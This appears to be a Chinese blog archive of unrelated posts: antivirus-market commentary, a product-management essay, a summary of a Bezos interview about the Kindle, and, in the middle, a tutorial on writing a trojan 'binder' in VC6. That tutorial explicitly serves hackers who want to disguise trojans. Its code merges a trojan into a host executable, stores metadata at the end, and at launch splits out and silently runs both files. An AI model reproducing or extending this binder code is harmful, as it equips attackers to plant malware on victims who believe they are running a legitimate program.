网络让电脑面临了全新的网络安全问题,木马盗号、网页挂马、数据丢失等网络安全威胁成为用户上网时遇到的主要问题。根据安天实验室数据显示,2009年木马占比达77%,总数量已达千万,仍稳居恶意代码主流地位。蠕虫与病毒相对08年占比均有所回落;蠕虫08年占比11%,今年占比8%;病毒08年占比5%,今年占比4%。以恶意代码呈几何级数的增长速度来预计:2010年以后木马的数量级达到上亿,那么蠕虫与病毒等类别恶意代码,在木马的庞大基数下,将直接被淹没。以前只负责反病毒的杀毒软件功能为了应对新的危机,也在逐渐增多新的功能,改善杀毒软件引擎技术。

 

反病毒市场细分化更严重

病毒花样的增多,让许多反病毒软件无法有效的处理一些个案案例,例如泛滥成灾的U盘病毒,依靠传统的特征码识别技术,在升级病毒库不及时的情况下,杀毒软件几乎无法有效应对这种威胁,于是应运而生了专门处理U盘病毒的免疫工具软件。

网页挂马、账号保护等市场在未来还会呈现出逐渐细分的状态,金山网盾、安天锐甲、U盘免疫工具等免费小工具,不仅帮助用户解决了针对性的病毒问题,也让杀毒软件公司通过这种类型病毒解决手法,有效的弥补了传统杀毒软件的短板。

苗得雨

作为产品经理,我曾经多次和研发人员交流寻找用户需求的重要性,我们的研发人员也的确在四处寻找用户到底需要什么,网络时代让产品和产品之间易用性与特性的比拼加剧,特别是软件产品,用户无论从获取、安装还是卸载,成本接近于0,更新替代在电脑世界将会更加残酷。所以,软件产品要生存,要长久的活在用户的计算机中,就必须比以往更加符合用户的需求。

许多软件公司在这样的竞争环境中,总是感叹自己跟不上民间草根创业团队的步伐,草根创业团队往往能够通过一些新奇的小功能,一夜之间成为翘楚。创新、快速就是他们制胜的法宝。小团队这种创新往往来自于程序员自己的一个需求,而网络中没有软件能够满足他脑海中的这种潜在需求,于是自己开发一个软件解决这个问题成为了最直接有效的方法。

没有任何限制,没有开发计划,没有需求文档。他们往往只是把自己的需求用看似理所当然的方法解决了,但是正是这种需求解决方式和这种创造,催生了无数网络创业团队,也催生了无数以前未被发现的优秀软件功能,例如中国用户迫切需要的系统补丁升级功能。这项功能在大的软件公司没有发现它之前,许多地下软件组织已经开始制造山寨版的Windows系统补丁包了。

方法陈旧也是让许多软件公司产品无法迎合用户和消费者口味的重要原因。许多软件爱你公司喜欢在研发新品之前做大量的市场调查,问用户对于新产品的感觉如何,希望通过缜密的科学流程和数据作为支撑,说服企业管理层对于新产品研发的支持。

其实消费者的喜好不一定能准确反映出产品未来的市场。传统的调查受制于两个因素:第一,民众的经验限制了他们对未来的想象力;第二,民众无法判断当各个商业元素组合在一起时产生的整合力量。消费体验的创新来自于对消费者的深刻洞察,而不是询问。《引爆点》作者马尔科姆.格拉德维尔说:“解释他们的行为或意图是不可能的,他们会受制于自身的保守和未知。”

如果你问消费者愿不愿意接受酒店提供大块肥皂,他们会说大的多么不卫生等等。但喜来屋不听这套,他们重新设计了大块香皂,印上一个甜蜜的Logo,配上一个时尚又物美价廉的旅行故事,不仅迎合了消费者,还为此省下了4.5美元的成本。

看到了吗?我们需要来自消费者的判断,但需要用更好的方法获得。我们应该用自己的行为模式、态度和价值观去利用这些反馈,应用到我们已知的未来趋势,让消费者感到惊喜。企业特别是产品经理要结合情景规划、社会科学和决策管理等工具,才能准确理解消费者的类型,推动消费体验的创新。

一个优秀的产品经理需要的也不仅是一大堆刻板的数据,他更需要一个灵敏的直觉,需要有多年行业探索的经验,才能够准确的通过直觉发现那些尚未挖掘的黄金地带。

2009-12-31

◎文/苗得雨

(原创文章,转载请注明出处) 

引子:

Who told thee that thou wast naked? Hast thou eaten of the tree, whereof I commanded thee that thou shouldest not eat? –《圣经》创世纪3:11

计算机……可以用来实施几乎任何形式的犯罪,可以让你无所不能,从虚拟中获得你在现实中想得到的一切,也可以将一个人剥夺的一无所有,从肉体到灵魂,而这一切皆因我们感知到了它带给我们诱惑与善恶……

  

如今在黑客的游戏中,如何将木马植入到你的目标计算机中,是所有黑客需要面对的最高挑战,每一个黑客都希望将木马伪装技术发挥到极致。捆绑机,又名合并器,就是与木马几乎同时诞生的一对孪生兄弟,最优秀的捆绑机能够将最诱惑人的程序同最阴毒的木马完美的捆绑在一起。捆绑完成的新程序,不仅仅与最初捆绑的宿主一样,而且你可以通过修改装饰将它变得更具有诱惑力,如同那个赠给白雪公主的毒苹果,充满了诱惑与死亡。

网络上很多优秀的捆绑机都明码标价,而用VB、易语言等傻瓜语言编写出来的捆绑机在捆绑文件后体积往往会突增很多,失去了完美伪装的效果。因此一个捆绑机如何以完美的手法和思路合并分解文件是能否体现伪装技术的关键。今天我们就在这里向大家展示详细展示一款用VC编写的优秀商业捆绑机的全部细节与秘密。

 

合并的细节与秘密

 

为了让大家更好的理解捆绑机所有的关键技术细节,我们选择了引导型的程序界面,这个界面也非常类似大名鼎鼎的蔬菜捆绑机,但我们丰富了更多优秀的功能。现在让我们打开VC6.0画出第一个程序界面吧。

 

这个界面是宿主文件的选择界面,这一页关键程序代码如下:

 

void Prop1::OnBthost()

{

    // TODO: Add your control notification handler code here

    CFileDialog fileDialog(TRUE,”*.exe”,NULL,NULL,”可执行文件(*.exe)|*.exe||”);

    if(fileDialog.DoModal()==IDOK)

    {

      strcpy(mybind_infomation.CFileNameHost,fileDialog.GetPathName());

      m_strHostName=mybind_infomation.CFileNameHost;

      UpdateData(FALSE);

    }

}

 

这段代码的主要用CFileDialog类来实例化一个fileDialog对象,用CFileDialog类的成员函数“GetPathName”来得到第一个文件也就是宿主文件的路径,然后保存在我们指定的mybind_infomation.CFileNameHost结构体中。mybind_infomation.CFileNameHost在这个捆绑机程序中非常关键,在捆绑程序执行过程中,它不仅仅用来保存第一个宿主文件的名称,还承担着储存文件大小、合并后大小、图标路径等关键信息。最重要的是看它是怎么去实现自身文件的定位的。

 

typedef struct MY_INFO

    {

    TCHAR CFileNameHost[100];     //第一个文件的名字

    TCHAR CFileNameClient[100];    //第二个文件的名字

    TCHAR CFileNameDes[100];      //捆绑合并后文件的名字

    int select;                       //判断获取图标的方式

    CString strICon;                 //图标的路径

    int nHostFileSize;                //第一个文件的大小

    int nClientFileSize;               //第二个文件的大小

    int nFileBindSize;                //捆绑合并后文件的大小

    int nMyselfSize;                 //宿主文件的大小

    int IsDelete;                     //是否删除分解生成的文件

    }MYBINDINFO;

MYBINDINFO mybind_infomation

 

接下来我们继续绘制捆绑机的第二与第三个交互界面:

 

 

 

 

在这两个页面中,下面的代码实现将信息保存在结构体中:

m_strBindName=mybind_infomation.CFileNameClient;

strcpy(mybind_infomation.CFileNameDes,fileDialog.GetPathName());

 

 

 

这是程序的最后两个页面,点击完成后,程序就会自动完成捆绑的全部动作。

BOOL Prop4::OnWizardFinish()

{

       // TODO: Add your specialized code here and/or call the base class

       UpdateData(TRUE);

    mybind_infomation.IsDelete=m_IsDelete;

       if(TRUE==Bind_file())

       {

         MessageBox(”恭喜你,捆绑文件成功”,”友情提示”,MB_OK);

       }

       return CPropertyPage::OnWizardFinish();

}

 

由于我们采用的是指引型的页面操作方式,因此程序最后捆绑的核心代码全部都集中在了最后的部分。完成捆绑的核心函数Bind_file的实现如下:

::GetModuleFileName(0,my_name,sizeof(my_name));   //获取宿主的文件名

_stat(my_name, &ST);                              //获取宿主文件的大小

mybind_infomation.nMyselfSize=ST.st_size;         //保存宿主文件大小

_stat( mybind_infomation.CFileNameHost,&ST);

mybind_infomation.nHostFileSize=ST.st_size;       //保存第一个文件的大小

_stat( mybind_infomation.CFileNameClient,&ST);

mybind_infomation.nClientFileSize=ST.st_size;     //保存第二个文件的大小

CString tempFile=”temp.exe”;                      //临时的文件

out = fopen(tempFile, “wb”);                      //创建最终合成文件

     if (out == NULL)

     {free(buf);

          MessageBox(”绑定文件中,创建绑定后生成的合成文件时出错!”,”错误”);

 return false;

     }

 

这一步完成之后,接下来我们需要将宿主文件和要捆绑的木马写入这个临时的文件。当然更重要的是,将这个结构体保存在临时文件的结尾处。原因很简单,因为我们已经所有的关于合并是信息保存在这个结构体中了,已经为后来的文件的分离打下了良好的基础,我们已经把自身文件的大小保存在了这个结构体中,因此将自身文件的定位的问题此时我们已经成功的解决了,看过网上关于自身定位的实现,那是通过定义了一个结构体:

 

struct MODIFY_DATA {

     unsigned int finder; // 常量(定位自身)

     _off_t my_length;      //文件长度(自身)

} modify_data = {0×12345678, 0};

 

请注意这里,通过这段代码我们让文件合并的时候来定位自身文件:

 

for (i = 0; i < modify_data.my_length - sizeof(finder); i += sizeof(finder))

     {for (k = 0; k < sizeof(finder); k++)

          { if (buf[i+k] != ((BYTE*)&finder)[k])

                    break;}

          if (k == sizeof(finder))   //定位并保存自身数据文件大小

          {memcpy(buf+ i, &modify_data, sizeof(modify_data));

              break;}

     }

 

我们来分析这段代码,忘了说明finder已经定义了,定义如下:

unsigned int finder=0×12345678;

很明显通过循环整个文件来查找自身的特征字符 finder,然后将已经保存了的含有自身文件大小的结构COPY到相应的内存块,实现了自身文件的定位,在其分解时表现的很明显,

还有第1,2个文件的大小,以及文件分解的方式等也全都零散的写入了生成的文件,不得不承认实现的思路很是巧妙,但是感觉有点乱,干脆直接把所有的信息作为一个整体直接读入,分解时直接定位到文件的最后,直接将这个结构体读出来,岂不更简单了一些。代码如下:

 

fwrite(& mybind_infomation,1,sizeof( mybind_infomation),out);

 

最后删除临时文件,复制到目标文件:

 

CopyFile(tempFile, mybind_infomation.CFileNameDes,0);//复制文件

 DeleteFile(tempFile);//删除临时文件

 

好了到这里我们的文件的合并已经完成了,有了上边保存的结构体,分解岂不迎刃而解。

下面就到了文件的分解了

 

小知识:由于文件多次用到了_stat函数,所以应该在用了此函数的地方包含状态头文件#include “sys/stat.h”

文件的分解

运行程序时弹出的对话框,可能会以为本程序的实现是基于对话框,其实不然,此款捆绑机是基于单文档的,只要在MainFanme 的OnCreate函数中做手脚即可,当OnCreate结束后加入Exit(),当然在函数退出前我们想做的事情已经实现了,文件已经捆绑完毕了。

来让我们看看到底在OnCreate中做了什么?代码如下:

MYBINDINFO mybindinfo;//用来存放分解出来的结构体

    ::GetModuleFileName(0,my_name,sizeof(my_name));//获取自身文件名

     _stat(my_name,&ST);//获取自身文件的大小

   if(ST.st_size>144*1024)

   {

       DWORD offset;

       offset=ST.st_size-sizeof(MYBINDINFO);

       FILE* myself;

       if(NULL==(myself=fopen(my_name,”rb”)))

           MessageBox(”不能打开自身的文件!”,”错误提示”,MB_OK);

       fseek(myself,offset,SEEK_SET);

       fread(&mybindinfo,1,sizeof(MYBINDINFO),myself);

         fclose(myself);

 

       Unbind_Run(mybindinfo);

       exit(0);

   }

这只是OnCreate函数一部分代码,相信细心的读者已经看到了一个数字144,你可能也已经想到了,没错正是文件自身的大小,通过来比较自身数据来判断是合并文件还是分解文件,相信你已经猜出了另一段代码了,看看你想的对不对?代码如下:

CProPerty PropertySheet(”对话框向导”);PropertySheet.SetWizardMode();

PropertySheet.DoModal();

 exit(0);

 

其实没有别的就是通过了向导框的形式实现了文件的合并,合并后程序正常结束,来进入我们的正题:文件的分解。

来看看分解文件的核心函数Unbind_Run(mybindinfo)

 

    CString strTmp1Exe=myinfo.CFileNameHost;//第一个分解的文件

    CString strTmp2Exe=myinfo.CFileNameClient;//第二个分解的文件

    int nIndex = 1;

    buf = (BYTE*)malloc(myinfo.nMyselfSize);

    myself = fopen(my_name, “rb”);  //打开最终合成的文件

    nFileStepbytes = nFileStepbytes + myinfo.nMyselfSize;

    struct _stat ST;

    _stat(my_name, &ST);

    for(int n=1;n<3;n++)

    {

totalbytes = 0;    

        if(n==1)

           out = fopen(strTmp1Exe, “wb”);   //创建第1个绑定的文件

        if(n==2)

            out = fopen(strTmp2Exe, “wb”);   //创建第2个绑定的文件

        if (out == NULL)

        {

free(buf);

            MessageBox(”分离文件中,创建第一个被绑定文件时出错!”,”错误”);

            return;

        }

        //将文件指针定位到捆绑器程序长度尾部

        fseek(myself, nFileStepbytes, SEEK_SET);

        //读取第一个文件内容并写入

        while (bytesin = fread(buf, 1, sizeof(buf), myself))

        {

            if (totalbytes + bytesin >myinfo.nHostFileSize)

                bytesin =myinfo.nHostFileSize - totalbytes;

            totalbytes += fwrite(buf, 1, bytesin, out);

        }

        fclose(out);  //关闭第一个绑定文件句柄

        if (totalbytes == 0)

        {

free(buf);

            MessageBox(”分离文件中,在自身文件中没有被分离的对象!”,”错误”);

            return;

        }

        nFileStepbytes = nFileStepbytes +myinfo.nHostFileSize;

        nIndex++;

    }

fclose(myself); //关闭最终合成文件句柄

free(buf); //释放缓冲区

  DoCreateProcess(myinfo.CFileNameHost,myinfo.IsDelete);//创建子进程

  DoCreateProcess(myinfo.CFileNameClient,myinfo.IsDelete);//创建子进程

}

 

  

通过feek函数定位到文件的末尾来得到保存在捆绑后文件里的信息,并且存储在MYBINDINFO mybindinfo中,并且用引用的方式传递给了Unbind_Run函数,接着利用此结构的原有信息来实现文件的分解,很容易就能定位到第一的文件的开始:

nFileStepbytes = nFileStepbytes + myinfo.nMyselfSize;

fseek(myself, nFileStepbytes, SEEK_SET);

当然nFileStepbytes已经初始化为0了,只是没有写出而已,好了到了这里基本的问题已经快解决的差不多了,就剩下进程的创建了,利用CreateProcess很容易就能实现了,但必须得考虑到是否删除分解出的文件,当不删除的时候不用多说创建完他的进程后就不用管它了,可执行文件已经存在了,但是在删除分解的文件的情况下就得考虑什么时候删除了,不可能刚去创建了进程就要把它删除,这不是卸磨杀驴吗?计算机也是不允许的,就得等到进程结束后才去删除,就得用到WaitForSingleObject函数,函数原型如下:

 

DWORD WaitForSingleObject(

  HANDLE hHandle,

  DWORD dwMilliseconds

);

 

第一个参数进程的句柄通过CreateProcess的PROCESS_INFORMATION PI就可以得到,HANDLE hHandle=PI.hProcess得到,第二个参数指等待的时间,一般是INFINITE,不限定时间的等下去,如果是NULL就立即返回。

好了,这款捆绑器的合并与分离到此也就结束了。

近日《新闻周刊》刊载了亚马逊CEO杰夫·贝佐斯(Jeff Bezos)的访谈录,访谈中谈及了电子书阅读器Kindle的成功,苹果平板电脑可能带来的影响,以及下一步的数字书籍销售.目前,Kindle 已经成为了亚马逊网站上最为畅销的产品。

努力服务消费者

在经济形势低迷的情况下亚马逊却取得了令人惊讶的业绩。当被问及是如何做到的?贝佐斯说,做好最基本的事情,那就是关注于精益求精,向顾客提供低价、可靠、方便和交运迅速的产品。这是我们从业14年以来不断累积的效果。我总是说,如果我们哪个季度业绩出色,那可能是因为我们在3-5年前所打下的良好基础,而不是因为我们在这个季度有多么努力。

亚马逊最初是以零售商起步。现在正通过Kindle这样的产品进入了消费电子产品领域。对于目前亚马逊的市场定位,贝佐斯表示:首先,我们以零售起家,努力为消费者服务,同时积累服务消费者所需的各种技能。其次,我们也在不断创新,你不会看到我们跟着竞争对手走。我们希望从事开创性的业务, 虽然有时会遭遇挫折,但也会发现大有可为的新业务领域。再次,我们着眼于长期,我觉得这很难得. 如果你看看企业界,就会发现专注于长期发展前景的人并不多。

Kindle专为阅读打造

对Kindle所取得的成功贝佐斯也感到非常吃惊。他说,两年前我们谁也没有预料到。现在Kindle是我们最为畅销的产品。市场调查显示,Kindle是很多人最想收到的礼物。这并不只是一款电子产品,而是横跨了诸多产品类型。我们过去很多年一直在销售纸质书籍,而现在Kindle电子书销量已经达到了纸质书销量的48%,这一比例较5月份的35%有了明显增长。电子书业务正在非常迅速的增长,这个业务并不只属于我们。

苹果CEO史蒂夫·乔布斯(Steve Jobs)曾经预计 Kindle 会失败,因为他觉得“现在人们已经不再看书了”。贝佐斯则表示说,我相信人们需要一个专门的阅读设备。对很多人来说,阅读是他们生活中很重要的一件事。但他们也不想盯着LCD显示屏看上个几个小时。我认为这个领域大有可为。人类总是与工具共同发展。我们发明创新工具,而工具反过来又改变我们的生活,这个过程会不断重复。

过去20年,智能手机和PC等基于互联网的工具已经改变了我们的阅读习惯,使得我们变得越来越习惯于读短文章。我很喜欢黑莓,用它看电子邮件很方便。我们的电脑也同样如此。我很乐意看短文章和博客帖子。但我不希望用电脑阅读一本长达300页的小说。

因此,Kindle所做的就是将无线上网的便利性和长篇阅读整合起来。我们认为长篇阅读给我们带来的受益要超过短篇阅读。这两个方面都是很重要的。如果你看到一本好书,那你可能就会忍不住一直看下去,而且这会令你受益匪浅,改变你对人生的看法。而博客帖子是无法作到这点的。

未来发展设想

对于苹果即将推出的平板电脑是否会成为Kindle的竞争对手。贝佐斯的回答是肯定的。他说,但我们的理念就是,不管你在什么地方想看书,你都可以用Kindle看书。

贝佐斯表示,我并不在乎实际的Kindle销量?我们对Kindle的目标有别于我们对Kindle书店的目标。只要有Kindle书店,不管你在哪里,只要你想看书,我们都会帮助你。关于Kindle,我们希望它能成为全球最好的特定阅读工具。这不是瑞士军刀,可以做各种不同的事情。我们相信应该为阅读打造一款专门的工具,这就是Kindle。这就好像数码相机一样。虽然我的智能手机上有一个摄像头可以拍照,但真的要摄影的时候,我还是希望能有一个专用的照相机。

贝佐斯同样认为传统的纸质印刷书籍会最终消亡?他说,虽然我不知道这个过程需要多长时间。我们还是喜欢看小说,喜欢迷失在作者的世界中。对书籍的热爱是不会消亡的,而且还会再度盛行。但金属活字印刷术已经有500多年历史了,这可能是最为成功的技术。但没有什么技术会永远存在。

贝佐斯表示,如果纸质书依然存在,如果他想看,那他依然会去看。